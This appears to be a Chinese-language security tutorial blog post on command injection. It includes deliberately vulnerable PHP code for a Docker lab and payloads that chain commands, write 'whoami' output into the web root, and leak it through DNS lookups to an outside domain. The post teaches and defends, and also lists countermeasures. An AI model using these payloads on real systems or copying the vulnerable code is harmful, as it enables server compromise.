iT邦幫忙

第 12 屆 iT 邦幫忙鐵人賽

DAY 7
2

今天要介紹的 Command injection ,也就是可以透過這個漏洞去執行伺服器的命令 ( Command ) ,通常有這個漏洞就可以做到遠端程式碼執行( RCE,Remote Code Execution)。

執行任意指令

通常會有這個漏洞,主要是出現後端邏輯透過指令「串接」的方式。而且沒有去驗證使用者的輸入,但我們前幾天介紹的 injection 其實都沒有去驗證使用者輸入的內容。

要怎麼利用 Command injection

  • 先簡單介紹一下 Linux 跟 Wondows 的 Command
  • 我們提到「命令連接」
  • 在 PHP 中可能會有危險的函式
  • 撰寫 Python 的時候也會有機會有 Command injection

LAB

最簡單沒有過濾的 command injection

  1. 後端網站透過網頁去執行 ping 的功能,這在許多 IoT 的設備常常用到,因此許多 IoT 有 Command injection 的問題。
    <?php
    
    if( isset( $_REQUEST[ 'ip' ]  ) ) {
        $target = $_REQUEST[ 'ip' ];
        $cmd = shell_exec( 'ping  ' . $target );
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>
    
    • 可以看到這個例子沒有過濾任何傳進去的參數 ip,這時候可以直接加上剛剛提到命令連接詞
    • feifei.com.tw/?ip=8.8.8.8&id
    • LAB
    • 如果有 command 可以使用哪些指令去蒐集資訊

沒有顯示在網頁上的 command injection 可以用 ping

  1. 許多 Command injection 是不會將結果顯示在網站當中,其中一個例子是這個功能可能是要寄信給指定使用者
    <?php
    
    if( isset( $_REQUEST[ 'mail' ]  ) ) {
        $target = $_REQUEST[ 'mail' ];
        $cmd = shell_exec( 'mail -s "Hi" -aFrom:feifei@feifei.com.tw' . $target );
    }
    
    ?>
    
    • 我們可以透過 ping 網站,看回應的時間去判斷是否有漏洞存在
    • feifei.com.tw/?mail=& ping -c 10 127.0.0.1 &
    • 如果有 delay 10秒的話就是有弱點存在
    • LAB

可以透過寫檔去判斷有沒有弱點

  1. 剛剛是透過 delay 去判斷有沒有弱點存在,我們也可以透過寫檔案的方式去判別有沒有弱點
    <?php
    
    if( isset( $_REQUEST[ 'mail' ]  ) ) {
        $target = $_REQUEST[ 'mail' ];
        $cmd = shell_exec( 'mail -s "Hi" -aFrom:feifei@feifei.com.tw' . $target );
    }
    
    ?>
    
    • 假設網頁路徑為 /var/www/html
    • feifei.com.tw/?mail=& whoami > /var/www/html/whoami.txt &
    • feifei.com.tw/whoami.txt
    • LAB

透過 OAST 搭配 command injection

  1. & nslookup xxx.feifei.com.tw &
    • 我們監視自己的 DNS 如果有看到查看紀錄表示有弱點
    • LAB
  2. & nslookup ``whoami``.feifei.com.tw &
    • 透過 OAST 技術在 DNS 紀錄中傳送指令
    • LAB

如何防止 command injection

  1. 直接使用安全的 API 方法去執行要用的命令
  2. 透過白名單去驗證
  3. 如果是要執行數字可以去驗證只包含數字
  4. 驗證輸入不包含其他語法或空格

自製 LAB

  • server 資料夾 exe.php
    <?php
    
    if( isset( $_REQUEST[ 'ip' ]  ) ) {
        $target = $_REQUEST[ 'ip' ];
        $cmd = system( 'ping  ' . $target );
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>
    
  • docker-compose.yml
    version: "2"
    services:
        web:
            image: php:7-apache
            ports: 
                - "8004:80"
            volumes:
                - ./server:/var/www/html/
    
    

上一篇
資安這條路 06 - [Injection] Code injection - Local File Inclusion, Remote File Inclusion
下一篇
資安這條路 08 - [injection] CRLF injection
系列文
資安這條路─以自建漏洞環境學習資訊安全31

1 則留言

0
HackerCat
iT邦新手 5 級 ‧ 2020-09-23 00:36:50

圖片真的很用心,內容也是深入淺出
也順便推一下連結的Portswigger LAB
我這陣子也是花了不少時間在Portswigger Academy

不過小小有個點想提醒與確認一下XD
第一張圖的部分
Linux使用的id指令在windows中應該是沒有...吧?

飛飛 iT邦新手 4 級 ‧ 2020-09-23 10:12:48 檢舉

嗨,感謝你的回覆
因為自己的 Windows 環境有 id 的指令,
不過經確認過沒有裝套件是沒有這個功能的。

我下班之後再更新圖片,感謝你的提醒 :)

我要留言

立即登入留言